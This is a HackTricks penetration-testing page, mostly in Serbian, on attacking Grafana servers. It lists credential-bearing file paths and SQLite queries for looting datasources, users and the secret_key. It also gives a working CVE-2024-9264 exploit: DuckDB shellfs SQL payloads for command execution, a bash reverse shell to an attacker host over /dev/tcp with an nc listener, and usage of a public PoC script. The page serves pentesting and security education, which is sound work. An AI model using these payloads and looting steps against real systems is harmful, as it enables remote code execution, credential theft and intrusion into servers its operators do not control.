Grafana
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Zanimljive stvari
- Glavna konfiguracija se obično nalazi u
/etc/grafana/grafana.ini(Deb/RPM) i može sadržati osetljive vrednosti kao što suadmin_user,admin_password,secret_key, OAuth podešavanja, SMTP kredencijali i renderer tokeni. - Podrazumevano Grafana čuva podatke u SQLite3 pod
/var/lib/grafana/grafana.db. - Provisioning fajlovi su veoma interesantni nakon pristupa hostu:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- Environment-variable expansion je podržan u provisioning fajlovima, tako da leaked YAML često otkriva i tajne i nazive env var koji ih podržavaju.
- Instalirani pluginovi se obično nalaze pod
/var/lib/grafana/plugins. - Unutar platforme možete pozvati ljude, generisati API keys / service account tokens, izlistati pluginove, ili instalirati nove pluginove u zavisnosti od uloge.
- Pregledač je takođe plijen: Grafana izlaže non-secret datasource config na frontend. Ako imate Viewer sesiju (ili je omogućен anonymous access), pregledajte
window.grafanaBootDataiz DevTools.
Korisne SQLite provere:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Izdvajanje datasource-ova i tajni
Grafana razdvaja konfiguraciju čitljivu u pregledaču od šifrovanih tajni:
jsonDataje vidljiv korisnicima u pregledaču i često dovoljan za nabrajanje internih hostova, tenant-a, auth režima, imena header-a, AWS regiona, Elasticsearch indeksa, Loki tenant-a, Prometheus URL-ova i sličnih podataka za rekognosciju.secureJsonDataje šifrovan na serverskoj strani i više nije čitljiv iz pregledača nakon što je datasource sačuvan.
Post-exploitation workflow:
- Dump
grafana.inii povratisecret_key. - Loot
grafana.dbi provisioning fajlove. - Enumerate datasource-ove i konfiguraciju plugina da pronađete ponovo upotrebljive kredencijale i interne endpoint-e.
- Ako migrirate ili reprodukujete bazu podataka u drugu Grafana instancu, zadržite isti
secret_keyili će sačuvani password-i/tokeni datasource-a biti pogrešno dekriptovani.
Zašto je secret_key važan u novijim verzijama:
- Od Grafana v9, tajne u bazi koriste envelope enkripciju.
- Grafana šifruje tajne pomoću data encryption keys (DEKs), a ti DEK-ovi su šifrovani pomoću key encryption key (KEK) izvedenog iz
secret_key. - Iz perspektive napadača,
grafana.db+secret_keyje par vredan krađe.
Površina napada plugina
Tretirajte plugine kao deo mete, a ne kao fusnotu:
- Enumerate ih iz filesystem-a, iz UI-ja, ili iz API-ja:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Stariji ili third-party plugin-i redovno šire Grafana-in domet u interne mreže zato što proxy-ju HTTP zahteve ili interaguju sa lokalnim fajlovima/bazama podataka.
- Kao nedavni primeri uključuju SSRF u Infinity pluginu (
< 3.4.1) i puteve zloupotrebe gde Image Renderer plugin pretvara drugu grešku u full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Grafana’s experimental SQL Expressions feature može izvršavati DuckDB upite koji ugrađuju tekst pod kontrolom korisnika. Nedovoljna sanitizacija omogućava napadačima da povežu DuckDB naredbe i učitaju zajedničku ekstenziju shellfs, koja izlaže shell komande preko pipe-backed virtuelnih fajlova.
Impact
- Bilo koji autentifikovani korisnik sa VIEWER ili višim može dobiti izvršavanje koda kao Grafana OS korisnik (često grafana; ponekad root unutar kontejnera) ili izvršiti lokalno čitanje fajlova.
- Uslovi koji su često ispunjeni u realnim okruženjima:
- SQL Expressions enabled:
expressions.enabled = true duckdbbinary present in PATH on the server
Quick checks
- U UI/API, pregledajte Admin settings (Swagger:
/swagger-ui, endpoint/api/admin/settings) da potvrdite: expressions.enabledje true- Opcionalno: verzija, tipovi datasource-a, i opšta podešavanja za hardening
- Shell na hostu:
which duckdbmora rešiti za exploit putanju ispod.
Manual query pattern using DuckDB + shellfs
- Tok zloupotrebe (2 upita):
- Instalirajte i učitajte shellfs ekstenziju, pokrenite komandu, preusmerite kombinovani izlaz u privremeni fajl preko pipe
- Pročitajte nazad privremeni fajl koristeći
read_blob
Example SQL Expressions payloads that get passed to DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Zamenite CMD željenom naredbom. Za file-read (LFI) možete umesto toga koristiti DuckDB file functions za čitanje lokalnih fajlova.
Primer one-liner reverse shell
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Ugradi to kao CMD u prvom upitu dok imaš listener: nc -lnvp 443.
Automatizovani PoC
- Javni PoC (izgrađen na cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Primer upotrebe
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
Ako izlaz prikazuje uid=0(root), Grafana radi kao root (uobičajeno unutar nekih kontejnera).
2025 client-side traversal / open redirect chain
The 2025 Grafana client-side traversal and open-redirect chain je već dokumentovana na opštim client-side stranicama. Koristite te tehnike protiv Grafana-specifičnih putanja kao što su plugin assets, dashboard script loaders i token-rotation redirects:
Reference
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


